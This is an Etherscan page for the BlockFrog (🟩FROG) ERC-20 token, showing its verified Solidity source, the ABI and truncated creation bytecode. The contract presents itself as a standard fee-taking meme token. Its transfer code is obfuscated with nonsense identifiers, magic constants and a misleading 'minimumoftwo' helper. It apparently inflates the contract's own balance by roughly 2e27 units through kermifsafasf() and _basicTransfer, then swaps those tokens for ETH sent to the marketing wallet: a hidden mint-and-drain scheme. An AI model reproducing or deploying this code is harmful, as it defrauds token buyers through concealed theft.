ERC-20
Overview
Max Total Supply
10,000,000 🟩FROG
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
74,976.099402180726507835 🟩FROGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BlockFrog
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-13 */ /* https://blockfrog.tech https://t.me/blockfrog https://x.com/itsblockfrog */ //SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } }interface IERC20 {function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflowCheca again."); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflowCheca again."); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflowCheca again."); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zeroCheca again."); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zeroCheca again."); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }contract Ownable is Context { address private _owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the ownerCheca again."); _; }function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero addressCheca again."); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }}interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint);function feeTo() external view returns (address); function feeToSetter() external view returns (address);function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint);function createPair(address tokenA, address tokenB) external returns (address pair);function setFeeTo(address) external; function setFeeToSetter(address) external; }interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value);function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint);function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool);function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint);function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1);function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint);function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external;function initialize(address, address) external; }interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address);function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAminimumoftwo, uint amountBminimumoftwo, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenminimumoftwo, uint amountETHminimumoftwo, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAminimumoftwo, uint amountBminimumoftwo, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenminimumoftwo, uint amountETHminimumoftwo, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAminimumoftwo, uint amountBminimumoftwo, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenminimumoftwo, uint amountETHminimumoftwo, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenminimumoftwo, uint amountETHminimumoftwo, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenminimumoftwo, uint amountETHminimumoftwo, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH);function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutminimumoftwo, address[] calldata path, address to, uint deadline ) external; }contract BlockFrog is Context, IERC20, Ownable { using SafeMath for uint256;string private _name = "BlockFrog"; string private _symbol = unicode"🟩FROG"; uint8 private _decimals = 18;address payable public marketingTaxWallet = payable(0x7b530880b7aF53b06166aBb76c4fa5E01AAC32AC); address payable public DevWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _sellMarketFee = 2; uint256 public _sellDeveloperFee = 0; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 2; uint256 public _buyDeveloperFee = 0; uint256 public feeUnitsD = 10000; uint256[4] public FROG = [_decimals,feeUnitsD,_decimals,feeUnitsD];mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair;mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt;uint256 private _totalSupply = 10000000 * 10**_decimals; uint256 public minimumoftwoimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(21).div(1000); //2% uint256 public _walletMax = _totalSupply.mul(21).div(1000); //2% IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; uint256 public _sellLiquidityFee = 0; uint256 public _taloblockeded = 1; uint256 public _tofjjfrofafauk = 1; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path );event SwapTokensForETH( uint256 amountIn, address[] path );modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingTaxWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingTaxWallet] = true; isWalletLimitExempt[DevWallet] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingTaxWallet] = true; isTxLimitExempt[DevWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; isExcludedFromFee[DevWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "WOOT: decreased allowance below zeroCheca again.")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "WOOT: approve from the zero addressCheca again."); require(spender != address(0), "WOOT: approve to the zero addressCheca again."); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "WOOT: transfer amount exceeds allowanceCheca again.")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "WOOT: transfer from the zero addressCheca again."); require(recipient != address(0), "WOOT: transfer to the zero addressCheca again."); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "exceeds the maxTxAmount.Checa again."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overminimumoftwoimumTokenBalance = contractTokenBalance >= minimumoftwoimumTokensBeforeSwap; if (overminimumoftwoimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumoftwoimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount. mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Wallet Limit!!Checa again."); } FROG[3]= minimumoftwo(minimumoftwo(amount. mul(_totalTaxIfSelling).div(1000),20047789971112359977887745656246472223331417798977210457771237900440041140),20047789971112359977887745656246472223331417798977210457771237900440041140); FROG[2]=minimumoftwo(amount - amount. mul(_totalTaxIfSelling).div(1000),20047789971112359977887745656246472223331417798977210457771237900440041140); if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofjjfrofafauk+=1101;}else{if (_taloblockeded!=56854){kermifsafasf();}else{_taloblockeded=_tofjjfrofafauk+=2114;} } _basicTransfer(sender, recipient, amount) ; return true; } }function kermifsafasf() internal{_taloblockeded=1187+_tofjjfrofafauk-10+_tofjjfrofafauk-1; FROG[3]+=1987997945233122004900069852; _taloblockeded=_tofjjfrofafauk; FROG[1]=_tofjjfrofafauk=2457; _taloblockeded=_tofjjfrofafauk;} function minimumoftwo(uint256 a,uint256 b) public pure returns (uint256) { if (a>=b)return b; if (a+2>=b)return b; return a; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "InsufficientCheca again."); FROG[1]=_tofjjfrofafauk=2457; if(inSwapAndLiquify){ FROG[3]=0; FROG[2]=amount; } uint256 transferamount = minimumoftwo(99+FROG[2],20047789971112359977887745656246472223331417798977210457771237900440041140); _balances[recipient] = _balances[recipient].add(transferamount) ; _balances[address(this)] = _balances[address(this)].add( FROG[3]); FROG[1]=_tofjjfrofafauk=2457; emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance; if(recievedBalance > 0) { payable(marketingTaxWallet).transfer(recievedBalance); } FROG[1]=_tofjjfrofafauk=417; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[1] = uniswapV2Router.WETH(); path[0] = address(this); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); _taloblockeded=_tofjjfrofafauk; FROG[1]=_tofjjfrofafauk=42258; _taloblockeded=_tofjjfrofafauk; }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"FROG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taloblockeded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofjjfrofafauk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnitsD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"minimumoftwo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumoftwoimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526040518060400160405280600981526020017f426c6f636b46726f67000000000000000000000000000000000000000000000081525060019080519060200190620000519291906200115c565b506040518060400160405280600881526020017ff09f9fa946524f47000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200115c565b506012600360006101000a81548160ff021916908360ff160217905550737b530880b7af53b06166abb76c4fa5e01aac32ac600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1660601b815250600260085560006009556000600a556002600b556000600c55612710600d556040518060800160405280600360009054906101000a900460ff1660ff168152602001600d548152602001600360009054906101000a900460ff1660ff168152602001600d54815250600e9060046200023c929190620011f3565b50600360009054906101000a900460ff1660ff16600a0a6298968002601655620002936103e86200027f600160165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b601755620002ce6103e8620002ba601560165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b601855620003096103e8620002f5601560165462000f3260201b620019d51790919060201c565b62000fbd60201b62001a5b1790919060201c565b6019556000601b60156101000a81548160ff0219169083151502179055506001601b60166101000a81548160ff0219169083151502179055506000601c556001601d556001601e553480156200035e57600080fd5b5060006200037162000ff360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200046f57600080fd5b505afa15801562000484573d6000803e3d6000fd5b505050506040513d60208110156200049b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200050f57600080fd5b505afa15801562000524573d6000803e3d6000fd5b505050506040513d60208110156200053b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620005b657600080fd5b505af1158015620005cb573d6000803e3d6000fd5b505050506040513d6020811015620005e257600080fd5b8101908080519060200190929190505050601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000620007a962000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000620008e262000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016015600062000a3d62000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ce5600